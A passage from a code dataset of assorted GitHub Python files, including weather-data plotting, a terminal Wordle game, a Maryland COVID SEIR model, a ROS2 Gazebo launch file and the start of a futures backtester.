mesures) pour avoir une unique mesure par jour\r\n dates = RT6.index\r\n mesures = RT6[\"MESURE\"]\r\n plt.plot(dates, mesures, marker='o', color=couleurs[i])\r\n\r\n # Affichage de la légende\r\n ax.legend(villes, loc=\"center left\", bbox_to_anchor=(1, 0.5))\r\n\r\n plt.show()\r\n\r\n # Exportation\r\n if export:\r\n plt.savefig(f\"evolutions_{NOMM}.png\")\r\n\r\ndef diagramme2(NOMM, export=False):\r\n\r\n # Récupération des données\r\n RT1 = pd.merge(RELEVE, MESURE, on=\"IDR\") # Ajout des relevés sur les mesures\r\n RT2 = pd.merge(RT1, STATION, on=\"IDS\") # Ajout des stations\r\n RT3 = pd.merge(RT2, LIEU, on=\"IDL\") # Ajout des lieux\r\n RT4 = RT3.loc[RT3[\"NOMM\"] == NOMM] # Sélection des mesures prises dans la ville passé en paramètre\r\n RT5 = RT4.groupby([\"NOML\"]).mean() # Regroupement par ville (moyenne des mesures)\r\n\r\n # Affichage du graphique\r\n villes = RT5.index\r\n temperatures = RT5[\"MESURE\"]\r\n ax.set_ylabel(NOMM)\r\n ax.set_title(f'Moyennes : {NOMM}')\r\n plt.bar(villes, temperatures, width=0.5, color=['#F91E53','#C2185B','#9C27B0','#5727B0','#272AB0','#276BB0'])\r\n\r\n plt.show()\r\n\r\n # Exportation\r\n if export:\r\n plt.savefig(f\"moyennes_{NOMM}.png\")\r\n\r\ndef diagramme3(NOML, export=False):\r\n\r\n # Récupération des données\r\n IDL = LIEU.loc[LIEU[\"NOML\"] == NOML][\"IDL\"].values[0] # ID de la région passée en paramètre\r\n RT = ALERTE.loc[ALERTE[\"IDL\"] == IDL] # Alertes enregistrées dans la région\r\n\r\n # Ajout de nouvelles données\r\n debut = RT[\"DATEDEB\"].min() # Première date présente dans la table\r\n RT['STARTNUM'] = (RT[\"DATEDEB\"]-debut).dt.days # Ajout d'un attribut qui compte le nombre de jours écoulés entre le début d'une alerte et le début de la première alerte\r\n RT['ENDNUM'] = (RT[\"DATEFIN\"]-debut).dt.days # Ajout d'un attribut qui compte le nombre de jours écoulés entre la fin d'une alerte et le début de la première alerte\r\n RT['DUREE']= RT[\"ENDNUM\"] - RT[\"STARTNUM\"] # Ajout d'un attribut pour la durée d'une alerte (en nombre de jours)\r\n\r\n # Ajout d'un attribut COULEUR qui correspond au RGB du niveau d'alerte\r\n def color(row):\r\n c_dict = {'Vert':'#3A9D23', 'Jaune':'#FFE436', 'Orange':'#E77500', 'Rouge':'#FF073A'}\r\n return c_dict[row['NIVEAU']]\r\n RT['COULEUR'] = RT.apply(color, axis=1)\r\n\r\n # Affichage du diagramme\r\n Y = RT[\"CATEGORIE\"]\r\n start = RT[\"STARTNUM\"]\r\n size = RT[\"DUREE\"]\r\n colors = RT[\"COULEUR\"]\r\n ax.set_title(f'Alertes en {NOML} en 2021')\r\n\r\n ax.barh(Y, size, left=start, color=colors)\r\n\r\n xticks = np.arange(0, RT[\"ENDNUM\"].max()+1, 37)\r\n xticks_labels = pd.date_range(debut, end=RT[\"DATEFIN\"].max()).strftime(\"%d/%m\")\r\n xticks_minor = np.arange(0, RT[\"ENDNUM\"].max()+1, 1)\r\n ax.set_xticks(xticks)\r\n ax.set_xticks(xticks_minor, minor=True)\r\n ax.set_xticklabels(xticks_labels[::37])\r\n\r\n plt.show()\r\n\r\n # Exportation\r\n if export:\r\n plt.savefig(f\"alertes_{NOML}.png\")\r\n\r\ndef diagramme4(NOMM, export=False):\r\n\r\n # Récupération des données\r\n RT1 = pd.merge(RELEVE, MESURE, on=\"IDR\") # Ajout des relevés sur les mesures\r\n RT2 = pd.merge(RT1, STATION, on=\"IDS\") # Ajout des stations\r\n RT3 = pd.merge(RT2, LIEU, on=\"IDL\") # Ajout des lieux\r\n RT4 = RT3.loc[RT3[\"NOMM\"] == NOMM] # Sélection des mesures dont le nom est passé en paramètre\r\n villes = RT4[\"NOML\"].unique() # Récupération de la liste des villes\r\n\r\n # Affichage du graphique\r\n ax.set_ylabel(NOMM)\r\n ax.set_title(f'Répartitions : {NOMM}')\r\n couleurs = ['#F91E53','#C2185B','#9C27B0','#5727B0','#272AB0','#276BB0']\r\n\r\n for i in range(len(villes)):\r\n RT5 = RT4.loc[RT4[\"NOML\"] == villes[i]] # Sélection des mesures dans la ville concernée\r\n mesures = RT5[\"MESURE\"]\r\n box = plt.boxplot(mesures, positions=[i+1], widths=[0.5], flierprops=dict(markeredgecolor=couleurs[i], markeredgewidth=2))\r\n for item in ['boxes', 'whiskers', 'medians', 'caps']:\r\n plt.setp(box[item], color=couleurs[i], linewidth=2)\r\n plt.xticks(range(1,len(villes)+1), villes)\r\n\r\n plt.show()\r\n\r\n # Exportation\r\n if export:\r\n plt.savefig(f\"repartitions_{NOMM}.png\")\r\n\r\nif __name__ == \"__main__\":\r\n\r\n # Initialisation de matplotlib (style)\r\n fig, ax = initialize_matplotlib()\r\n\r\n # Importation des tables\r\n STATION = pd.read_excel(\"STATION.xlsx\")\r\n RELEVE = pd.read_excel(\"RELEVE.xlsx\")\r\n MESURE = pd.read_excel(\"MESURE.xlsx\")\r\n LIEU = pd.read_excel(\"LIEU.xlsx\")\r\n ALERTE = pd.read_excel(\"ALERTE.xlsx\")\r\n\r\n # Choix du diagramme\r\n # Décommentez une ligne ci-dessous pour l'afficher\r\n\r\n # diagramme1(\"Temperature\")\r\n # diagramme1(\"Precipitation\")\r\n # diagramme1(\"Ensoleillement\")\r\n # diagramme1(\"Vent\")\r\n\r\n # diagramme2(\"Temperature\")\r\n # diagramme2(\"Precipitation\")\r\n # diagramme2(\"Ensoleillement\")\r\n # diagramme2(\"Vent\", True)\r\n\r\n # diagramme3(\"PROVENCE-ALPES-COTE-D-AZUR\")\r\n # diagramme3(\"ILE-DE-FRANCE\")\r\n\r\n # diagramme4(\"Temperature\")\r\n # diagramme4(\"Precipitation\")\r\n # diagramme4(\"Ensoleillement\")\r\n # diagramme4(\"Vent\")","repo_name":"LucaCeccarelli/S204","sub_path":"S204_Partie-3_CECCARELLI_CLEMENT_GONTIER_LAFITTE/S204_Partie-3_Code_CECCARELLI_CLEMENT_GONTIER_LAFITTE.py","file_name":"S204_Partie-3_Code_CECCARELLI_CLEMENT_GONTIER_LAFITTE.py","file_ext":"py","file_size_in_byte":6664,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30793946159","text":"from exceptions import BaseError\n\n\nclass ScriptFileError(BaseError):\n \"\"\"Exception raised for errors encounterd when interacting with script files.\n\n Attributes:\n message -- explanation of the error\n \"\"\"\n\n default_message = \"Issue with script file.\"\n\n def __init__(self, message=default_message):\n self.message = message\n super().__init__(self.message)\n\n\nclass ScriptExecutionError(BaseError):\n \"\"\"Exception raised for errors encounterd when executing script instructions.\n\n Attributes:\n message -- explanation of the error\n \"\"\"\n\n default_message = \"Issue executing script instruction.\"\n\n def __init__(self, message=default_message):\n self.message = message\n super().__init__(self.message)\n","repo_name":"tristan-z/auto-clicker","sub_path":"src/script/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14597421262","text":"from termcolor import colored\nimport random\n\"\"\"\n Final Project 2: Wordpy\n Using code from an old lab I am creating a wordle game with a gui.\n You are able to switch which list the word to guess is pulled from.\n You can restart the game to guess a different word from the list.\n Word lists were made using a separate script I created called word_file_maker.py.\n You can start the game using the executable file provided.\n\n Project author:\n Dallin Stefanidis\n dstefanidis@unomaha.edu\n https://github.com/dstef22\n \n File desc:\n Project is based on original code that was created \n with help in a lab in the class Intro to CS 1\n\n THIS FILE IS NOT MEANT TO BE RUN!\n\"\"\"\n\n\nrandom_words = [\"ghoul\", \"boxes\", \"could\", \"bushy\", \"water\", \"happy\", \"yours\", \"bowls\", \"lolly\", \"color\", \"jelly\", \"stars\", \"ready\", \"ferns\", \"pluck\", \"lamia\", \"doors\", \"sheer\", \"dunce\", \"words\", \"snake\", \"truce\", \"sword\", \"bored\", \"gourd\", \"cutie\", \"truck\"]\n\nrandom_word = random_words[random.randint(0, len(random_words) - 1)]\n\nrandom_list = list(random_word)\n\nprint(f\"{'-'*20}\\n{'WORDLE':^20}\\n{'-'*20}\")\n\nfor guess in range(6):\n user_guess = input(f\"Enter guess #{guess + 1}: \")\n \n user_list = list(user_guess)\n \n # coloring\n for c in range(5):\n if user_list[c] == random_list[c]: # same spot same character\n user_list[c] = colored(user_list[c], \"green\", attrs=[\"reverse\", \"bold\"])\n elif user_list[c] in random_list: # check to see if the character is somewhere else in the random word\n user_list[c] = colored(user_list[c], \"yellow\", attrs=[\"reverse\", \"bold\"])\n else:\n user_list[c] = colored(user_list[c], \"red\", attrs=[\"reverse\", \"bold\"])\n # print(user_list[c], end='') ''''another way to print''''\n # print()''''another way to print''''\n print(f\"{' '*23}{''.join(user_list)}\")\n \n # check if win\n \n if user_guess == random_word:\n print(f\"You guessed the word in {guess + 1} tries!\")\n # print(f\"Your final guess was {''.join(user_list)}\")\n break\n\nprint(f\"Your final guess was {''.join(user_list)}\")\n","repo_name":"dstef22/project_2","sub_path":"wordpy_original_code.py","file_name":"wordpy_original_code.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43949972128","text":"import numpy as np\nimport importlib.util\nfrom pathlib import Path\n\n\nfrom playfields import StreetField\n\ndef throw_dice(n_dicefaces: int = 6):\n return np.random.choice(np.arange(1,n_dicefaces+1, dtype=int))\n\ndef throw_n_dice(n_dice: int = 2, n_dicefaces: int = 6):\n return [throw_dice(n_dicefaces) for i in range(n_dice)]\n\n\ndef get_propertycolor_position_map(fields):\n colors = []\n for f in fields:\n if isinstance(f, StreetField):\n colors.append(f.color)\n else:\n colors.append(-1)\n\n unique_colors = np.unique(colors)\n\n # drop -1\n unique_colors = unique_colors[np.where(unique_colors != -1)]\n \n streetcolor_position_map = dict()\n for c in unique_colors:\n idx = np.where(colors == c)[0]\n streetcolor_position_map[c] = list(idx)\n \n return streetcolor_position_map","repo_name":"nilskroell/monopyly","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"36435258066","text":"#!/bin/python3\n\nimport os\n\ndef migratoryBirds(arr):\n bird_frequencies = [0, 0, 0, 0, 0, 0]\n for i in range(len(arr)):\n bird_frequencies[arr[i]] += 1\n return bird_frequencies.index(max(bird_frequencies))\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n arr_count = int(input().strip())\n arr = list(map(int, input().rstrip().split()))\n result = migratoryBirds(arr)\n fptr.write(str(result) + '\\n')\n fptr.close()\n","repo_name":"H1bro/Hackerrank-Problem-Solving-Solutions","sub_path":"HackerRank-Migratory Birds/Migratory_Birds.py","file_name":"Migratory_Birds.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4409344786","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 22 13:39:10 2020\n\n@author: carlopalazzi\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndfRunTimes = pd.read_csv('timepositionRunTimes.csv')\n\n# Show number of entries\ntotalseconds = dfRunTimes['TotalTime (s)']\nenergies = [100,200,300,400,500,600,700,800,900,1000]\n#plt.scatter(energies, totalMinutes, s=20, c='g')\nplt.plot(energies, totalseconds, 'go-', linewidth=0.5)\n# Label plot points with their values\nfor i, txt in enumerate(totalseconds):\n plt.annotate(txt, (energies[i], totalMinutes[i]), xytext=(-15,5), textcoords='offset pixels')\n \nplt.title('Run Times for HENS-H4 for Primary Action of 2000 Neutrons', y=1.05)\nplt.ylim(0,5)\nplt.xlabel('Neutron Energy (MeV)')\nplt.ylabel('Run Time (s)')\nplt.tight_layout()\nplt.savefig('nCaptureRunTimes.png', dpi=800, bbox_inches='tight')\nplt.show()","repo_name":"cpalazzi/HENS-H4","sub_path":"Hadr04-FTF-nosecondaries-build/timepositionsRunTimes.py","file_name":"timepositionsRunTimes.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16706964994","text":"import json # This is for working on JSON data\r\nimport csv # This is for working on .csv FILE\r\n\r\n\r\n\r\n\r\nwith open (\"Population.csv\", \"r\") as f:\r\n reader = csv.reader(f)\r\n next(reader)\r\n data = []\r\n for row in reader:\r\n data.append({\"Rank\" : row[0],\r\n \"State/UT\" : row[1],\r\n \"Population\" : row[2]\r\n # \"Active cases\" : row[3],\r\n # \"Cured/Discharged\" : row[4],\r\n # \"Death\" : row[5]\r\n })\r\nwith open(\"Population.json\", \"w\") as f:\r\n json.dump(data,f,indent=4)","repo_name":"prabhamerlin/Analysis-of-COVID-cases-in-different-states-of-India","sub_path":"convert_csv_to_json.py","file_name":"convert_csv_to_json.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72323080214","text":"#!/usr/bin/env python\n\nimport os,sys, Queue, time\nbase_dir = os.path.join(\n os.path.dirname(os.path.realpath(__file__)), '..','..')\nsys.path.append(base_dir)\nfrom waldo.lib import Waldo\nfrom optparse import OptionParser\n\nKEY_MANAGER_HOST = '127.0.0.1'\nKEY_MANAGER_PORT = 6974\n\n\nif __name__ == '__main__':\n parser = OptionParser()\n parser.add_option(\"-g\", \"--generate\", action =\"store_true\", dest = \"generate\", default = False)\n (option, args) = parser.parse_args()\n Waldo.start_ca(option.generate, host = KEY_MANAGER_HOST, port = KEY_MANAGER_PORT, cert_end = 60*60*24*365)\n if option.generate:\n Waldo.add_ca_to_list(\"ca_list.pem\", KEY_MANAGER_HOST, KEY_MANAGER_PORT)\n while True:\n time.sleep(5)\n\n\n\n","repo_name":"ekyauk/waldo_programs","sub_path":"game_lobby/keymanager.py","file_name":"keymanager.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18724166331","text":"import os\nimport csv\n\ndef solicitar():\n NOMBRE = \"Nombre del Auto : \"\n COLOR = \"Color : \"\n NIVEL = \"Nivel de equipamiento [bajo, medio,alto] : \"\n PRECIO = \"Precio : \"\n\n nombre = input(NOMBRE)\n color = input(COLOR)\n nivel = input(NIVEL)\n precio = input(PRECIO)\n\n #guarda el achivo\n archivo=None\n archivo_cvs=None\n if os.path.isfile(\"Sesion_6/Reto_2/autos.csv\"):\n archivo = open(\"Sesion_6/Reto_2/autos.csv\", \"a\")\n else: \n archivo = open(\"Sesion_6/Reto_2/autos.csv\", \"w\")\n archivo_cvs=csv.writer(archivo)\n archivo_cvs.writerow( [\"Nombre\", \"Color\", \"Nivel\",\"precio\"] )\n \n archivo_cvs=csv.writer(archivo)\n lineas=[]\n lineas.append([nombre,color,nivel,precio])\n archivo_cvs.writerows( lineas )\n\n##Inicia el llamado\nsolicitar()\n","repo_name":"mismeroth/BEDU","sub_path":"Sesion_6/Reto_2/autos_csv.py","file_name":"autos_csv.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23909114429","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 31 18:53:22 2020\r\n\r\n@author: localaccount\r\n\"\"\"\r\nimport pandas as pd\r\nimport numpy as np\r\nimport scipy as sc\r\nfrom scipy.integrate import solve_ivp\r\nimport matplotlib.pyplot as plt\r\nfrom datetime import datetime, timedelta\r\n\r\n# =============================================================================\r\n# Dates\r\n# =============================================================================\r\ntoday = datetime.now() # current date and time\r\nyesterday=datetime.strftime(datetime.now() - timedelta(1), \"%#m/%#d/%y\")\r\n\r\n# =============================================================================\r\n# Data recorded (beginning from March 12th = index 0)\r\n# =============================================================================\r\nurl = \"https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_confirmed_US.csv\"\r\ndf = pd.read_csv(url)\r\ndf.drop(df[df['Province_State']!=\"Maryland\"].index, inplace=True)\r\nStartDate = '3/12/20'\r\nPureData = df.loc[:,StartDate:yesterday]\r\nDataSums=PureData.sum(axis=0)\r\nDataList = [DataSums.iloc[n] for n in range(len(DataSums))]\r\n\r\n# =============================================================================\r\n# DiffEQ\r\n# =============================================================================\r\n\r\n# Initial Parameters\r\nbeta1=0.756 #Beta1\r\nbeta2=0\r\ngamma=1/14 # 1/(time to recover)\r\nsigma=1/5.1 # 1/(incubation period length)\r\nN=6083116 # Population size\r\ninitInf=18\r\ninitCond = [N-2.5*initInf,initInf*1.5,initInf,0] #Format: [S,E,I,R]\r\ntStart1=0\r\ntEnd1=8\r\nnumOfParts=3\r\n\r\ntSolveSpace=[tStart1,tEnd1]\r\ntEvalSpace=np.linspace(tStart1,tEnd1,tEnd1-tStart1+1)\r\n\r\n# Equation\r\ndef f(t,y): #These are the SEIR equations. They exclude vital dynamics.\r\n [S,E,I,R]=y\r\n return [-(beta1*np.exp(beta2*t))*S*I/N, (beta1*np.exp(beta2*t))*S*I/N-sigma*E, sigma*E-gamma*I, gamma*I]\r\n# Solving the IVP\r\nsolution = solve_ivp(f, tSolveSpace, initCond, t_eval=tEvalSpace)\r\ntlist = solution.t\r\nylist = solution.y\r\nbetalist = [beta1*np.exp(beta2*n) for n in tlist]\r\n\r\n# Secondary Parameters if 2 parts\r\nif numOfParts>=2:\r\n beta1*=np.exp(beta2*(tEnd1-tStart1)) #Beta2\r\n beta2=-.066\r\n initCond2 = [listNums[-1] for listNums in solution.y] #Format: [S,E,I,R]\r\n tStart2=tEnd1\r\n tEnd2=37\r\n tSolveSpace2=[tStart1,tEnd2]\r\n tEvalSpace2=np.linspace(tStart2,tEnd2,tEnd2-tStart2+1)\r\n\r\n solution2 = solve_ivp(f, tSolveSpace2, initCond2, t_eval=range(len(tEvalSpace2)))\r\n tlist2= [solution2.t[n] + tEnd1 for n in range(len(tEvalSpace2))]\r\n tlist=np.concatenate((tlist,tlist2[1:]), axis=None)\r\n ylist=[np.concatenate((ylist[n],solution2.y[n][1:]), axis=None) for n in range(len(solution2.y))]\r\n betalist+=[beta1*np.exp(beta2*n) for n in range(len(solution2.t))]\r\n\r\n# Tertiary Paramaters if 3 parts\r\nif numOfParts>=3:\r\n beta1*=np.exp(beta2*(tEnd2-tStart2)) #Beta3\r\n beta2=-.0115\r\n initCond3 = [listNums[-1] for listNums in solution2.y] #Format: [S,E,I,R]\r\n tStart3=tEnd2\r\n tEnd3=130\r\n tSolveSpace3=[tStart1,tEnd3]\r\n tEvalSpace3=np.linspace(tStart3,tEnd3,tEnd3-tStart3+1)\r\n \r\n solution3 = solve_ivp(f, tSolveSpace3, initCond3, t_eval=range(len(tEvalSpace3)))\r\n tlist3= [solution3.t[n] + tEnd2 for n in range(len(tEvalSpace3))]\r\n tlist=np.concatenate((tlist,tlist3[1:]), axis=None)\r\n ylist=[np.concatenate((ylist[n],solution3.y[n][1:]), axis=None) for n in range(len(solution3.y))]\r\n betalist+=[beta1*np.exp(beta2*n) for n in range(len(solution3.t))]\r\n\r\nif numOfParts>=4:\r\n beta1*=np.exp(beta2*(tEnd3-tEnd2)) #Beta3\r\n beta2=-0.0115\r\n initCond4 = [listNums[-1] for listNums in solution3.y] #Format: [S,E,I,R]\r\n tEnd4=150\r\n tSolveSpace4=[0,tEnd4-tEnd3]\r\n tEvalSpace4=np.linspace(tEnd3,tEnd4,tEnd4-tEnd3+1)\r\n \r\n solution4 = solve_ivp(f, tSolveSpace4, initCond4, t_eval=range(len(tEvalSpace4)))\r\n tlist4 = [solution4.t[n] + tEnd3 for n in range(len(tEvalSpace4))]\r\n tlist=np.concatenate((tlist,tlist4[1:]), axis=None)\r\n ylist=[np.concatenate((ylist[n],solution4.y[n][1:]), axis=None) for n in range(len(solution3.y))]\r\n betalist+=[beta1*np.exp(beta2*n) for n in range(len(solution4.t))]\r\n\r\nylistdf = pd.DataFrame(ylist, index=['S','E','I','R'])\r\n# =============================================================================\r\n# print(\"Number of Active Infections (I):\")\r\n# print(ylistdf.iloc[2])\r\n# =============================================================================\r\nirlist=ylist[2]+ylist[3]\r\n\r\n# =============================================================================\r\n# Plotting\r\n# =============================================================================\r\nfig, axes = plt.subplots(1, 1, figsize=(20,12))\r\n\r\n# Plotting [S, E, I, R]\r\n# =============================================================================\r\n# labels = [\"Susceptible\", \"Exposed\", \"Infected\", \"Recovered\"]\r\n# for y_arr, label in zip(ylist, labels):\r\n# if label != \"Susceptible\":\r\n# plt.plot(tlist.T, y_arr, label=label)\r\n# =============================================================================\r\n# Plotting Reported Infections\r\nn=len(DataList)\r\nif numOfParts==1:\r\n if n>=tEnd1+1:\r\n tSpaceT=np.linspace(tStart1,tEnd1,tEnd1-tStart1+1)\r\n ypoints=DataList[tStart1:tEnd1+1]\r\n else:\r\n tSpaceT=np.linspace(0,n-1,n)\r\n ypoints=DataList[tStart1:n]\r\nelif numOfParts==2:\r\n if n>=tEnd2+1:\r\n tSpaceT=np.linspace(tStart1,tEnd2,tEnd2-tStart1+1)\r\n ypoints=DataList[tStart1:tEnd2+1]\r\n else:\r\n tSpaceT=np.linspace(0,n-1,n)\r\n ypoints=DataList[tStart1:n]\r\nelif numOfParts==3:\r\n if n>=tEnd3+1:\r\n tSpaceT=np.linspace(tStart1,tEnd3,tEnd3-tStart1+1)\r\n ypoints=DataList[tStart1:tEnd3+1]\r\n else:\r\n tSpaceT=np.linspace(0,n-1,n)\r\n ypoints=DataList[tStart1:n]\r\nelif numOfParts==4:\r\n if n>=tEnd4+1:\r\n tSpaceT=np.linspace(0,tEnd4,tEnd4+1)\r\n ypoints=DataList[:tEnd4+1]\r\n else:\r\n tSpaceT=np.linspace(0,n-1,n)\r\n ypoints=DataList[:n]\r\nplt.plot(tlist.T, irlist, label=\"Cumulative Predicted Cases (I+R)\")\r\n# Plot formatting\r\nplt.plot(tSpaceT, ypoints, label=\"Cumulative Reported Cases (I+R)\")\r\n\r\nplt.legend(loc='best')\r\naxes.set_xlabel('Time since '+StartDate+' (Days)')\r\naxes.set_ylabel('People')\r\naxes.set_title('Graphs/COVID19 Model for MD (SEIR, RK4)')\r\nplt.savefig('CurvesForCOVID19_MD.png')\r\n\r\nprint(\"irlist=\")\r\nprint(irlist)\r\n# =============================================================================\r\n# print(\"betalist=\")\r\n# print(betalist)\r\n# =============================================================================\r\n'''\r\nSources:\r\n Time for incubation:\r\n https://annals.org/aim/fullarticle/2762808/incubation-period-coronavirus-disease-2019-covid-19-from-publicly-reported\r\n Google Mobility Reports:\r\n https://www.google.com/covid19/mobility/\r\n'''","repo_name":"HuanlinDai/COVID19","sub_path":"Codes_States/COVID_CSSE_US_MD.py","file_name":"COVID_CSSE_US_MD.py","file_ext":"py","file_size_in_byte":6937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26387712713","text":"from launch import LaunchDescription\nfrom launch.actions import DeclareLaunchArgument, IncludeLaunchDescription, RegisterEventHandler, OpaqueFunction\nfrom launch.event_handlers import OnProcessExit\nfrom launch.conditions import IfCondition\nfrom launch.launch_description_sources import PythonLaunchDescriptionSource\nfrom launch.substitutions import Command, FindExecutable, LaunchConfiguration, PathJoinSubstitution\nfrom launch_ros.actions import Node\nfrom launch_ros.substitutions import FindPackageShare\n\ndef launch_setup(context, *args, **kwargs):\n description_package = FindPackageShare('indy_description')\n gazebo_package = FindPackageShare('indy_gazebo')\n\n # Initialize Arguments\n name = LaunchConfiguration(\"name\")\n indy_type = LaunchConfiguration(\"indy_type\")\n indy_eye = LaunchConfiguration(\"indy_eye\")\n prefix = LaunchConfiguration(\"prefix\")\n launch_rviz = LaunchConfiguration(\"launch_rviz\")\n\n if (indy_type.perform(context) == 'indyrp2') or (indy_type.perform(context) == 'indyrp2_v2'):\n initial_joint_controllers = PathJoinSubstitution(\n [gazebo_package, \"controller\", \"indy_controllers_7dof.yaml\"]\n )\n else:\n initial_joint_controllers = PathJoinSubstitution(\n [gazebo_package, \"controller\", \"indy_controllers_6dof.yaml\"]\n )\n\n robot_description_content = Command(\n [\n PathJoinSubstitution([FindExecutable(name=\"xacro\")]),\n \" \",\n PathJoinSubstitution([description_package, \"urdf\", \"indy.urdf.xacro\"]),\n \" \",\n \"name:=\",\n name,\n \" \",\n \"indy_type:=\",\n indy_type,\n \" \",\n \"indy_eye:=\",\n indy_eye,\n \" \",\n \"prefix:=\",\n prefix,\n \" \",\n \"sim_gazebo:=true\",\n \" \",\n \"simulation_controllers:=\",\n initial_joint_controllers,\n ]\n )\n robot_description = {\"robot_description\": robot_description_content}\n\n rviz_config_file = PathJoinSubstitution(\n [description_package, \"rviz_config\", \"indy.rviz\"]\n )\n\n robot_state_publisher_node = Node(\n package=\"robot_state_publisher\",\n executable=\"robot_state_publisher\",\n output=\"screen\",\n parameters=[{\"use_sim_time\": True}, robot_description],\n )\n\n joint_state_broadcaster_spawner = Node(\n package=\"controller_manager\",\n executable=\"spawner\",\n arguments=[\"joint_state_broadcaster\", \"--controller-manager\", \"/controller_manager\"],\n output=\"screen\",\n )\n\n joint_controller_spawner = Node(\n package=\"controller_manager\",\n executable=\"spawner\",\n arguments=[\"joint_trajectory_controller\", \"-c\", \"/controller_manager\"],\n )\n\n # Gazebo nodes\n gazebo = IncludeLaunchDescription(\n PythonLaunchDescriptionSource(\n [FindPackageShare(\"gazebo_ros\"), \"/launch\", \"/gazebo.launch.py\"]\n ),\n )\n\n # Spawn robot\n gazebo_spawn_robot = Node(\n package=\"gazebo_ros\",\n executable=\"spawn_entity.py\",\n name=\"spawn_indy\",\n arguments=[\"-entity\", \"indy\", \"-topic\", \"robot_description\"],\n output=\"screen\",\n )\n\n rviz_node = Node(\n condition=IfCondition(launch_rviz),\n package=\"rviz2\",\n executable=\"rviz2\",\n name=\"rviz2\",\n output=\"log\",\n arguments=[\"-d\", rviz_config_file],\n )\n\n # Delay start joint_state_broadcaster\n delay_joint_state_broadcaster_spawner = RegisterEventHandler(\n event_handler=OnProcessExit(\n target_action=gazebo_spawn_robot,\n on_exit=[joint_state_broadcaster_spawner],\n )\n )\n\n # Delay start of robot_controller\n delay_robot_controller_spawner = RegisterEventHandler(\n event_handler=OnProcessExit(\n target_action=joint_state_broadcaster_spawner,\n on_exit=[joint_controller_spawner],\n )\n )\n\n # Delay rviz\n delay_rviz2_spawner = RegisterEventHandler(\n event_handler=OnProcessExit(\n target_action=joint_controller_spawner,\n on_exit=[rviz_node],\n )\n )\n\n nodes_to_start = [\n gazebo,\n gazebo_spawn_robot,\n\n robot_state_publisher_node,\n\n # joint_state_broadcaster_spawner,\n # joint_controller_spawner,\n\n delay_joint_state_broadcaster_spawner,\n delay_robot_controller_spawner,\n delay_rviz2_spawner,\n ]\n\n return nodes_to_start\n\n\ndef generate_launch_description():\n declared_arguments = []\n\n declared_arguments.append(\n DeclareLaunchArgument(\n \"name\",\n default_value=\"indy\"\n )\n )\n\n declared_arguments.append(\n DeclareLaunchArgument(\n \"indy_type\",\n default_value=\"indy7\",\n description=\"Type of Indy robot.\",\n choices=[\"indy7\", \"indy7_v2\" , \"indy12\", \"indy12_v2\", \"indyrp2\", \"indyrp2_v2\"]\n )\n )\n\n declared_arguments.append(\n DeclareLaunchArgument(\n \"indy_eye\",\n default_value=\"false\",\n description=\"Work with Indy Eye\",\n )\n )\n \n declared_arguments.append(\n DeclareLaunchArgument(\n \"prefix\",\n default_value='\"\"',\n description=\"Prefix of the joint names, useful for multi-robot setup. \\\n If changed than also joint names in the controllers configuration have to be updated.\"\n )\n )\n\n declared_arguments.append(\n DeclareLaunchArgument(\n \"launch_rviz\", \n default_value=\"true\", \n description=\"Launch RViz?\"\n )\n )\n\n return LaunchDescription(declared_arguments + [OpaqueFunction(function=launch_setup)])\n ","repo_name":"neuromeka-robotics/indy-ros2","sub_path":"indy_gazebo/launch/indy_gazebo.launch.py","file_name":"indy_gazebo.launch.py","file_ext":"py","file_size_in_byte":5744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"36864665460","text":"#%%\nimport sys, os\nsys_name = 'windows'\npa_sys = '.'\npa_prefix = '.' \n# pa_sys, pa_prefix = get_pa_prefix(sys_name)\nsys.path.insert(0, pa_sys)\nfrom m_base import *\nfrom vnpy.trader.optimize import OptimizationSetting\nfrom vnpy.trader.constant import Interval\nfrom vnpy_portfoliostrategy.backtesting import BacktestingEngine\nfrom datetime import datetime, time, timedelta\nfrom datas_process.m_futures_factors import SymbolsInfo, MainconInfo\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom backtest.backtest_statistics import BacktesterStatistics\nfrom backtest.strategies.maatr_portfolio_strategy import MaatrPortfoliostrategy\n# from backtest.model_statistics import ModelStatistics\nfrom datas_process.m_futures_factors import SymbolsInfo\nfrom backtest.data_analyze_show import plot_show\nfrom functools import partial\nfrom time import sleep\nimport multiprocessing\n# import swifter\nplt.rcParams['font.sans-serif'] = ['SimHei'] # 解决中文显示\nplt.rcParams['axes.unicode_minus'] = False # 解决符号无法显示\n# sys.stdout = Logger('./datas/backtest_res/log.txt')\n\n__Author__ = 'ZCXY'\n\nclass PortfolioBackTester():\n '''主连合约回测'''\n def __init__(self, startdate=datetime(2010, 1, 1), 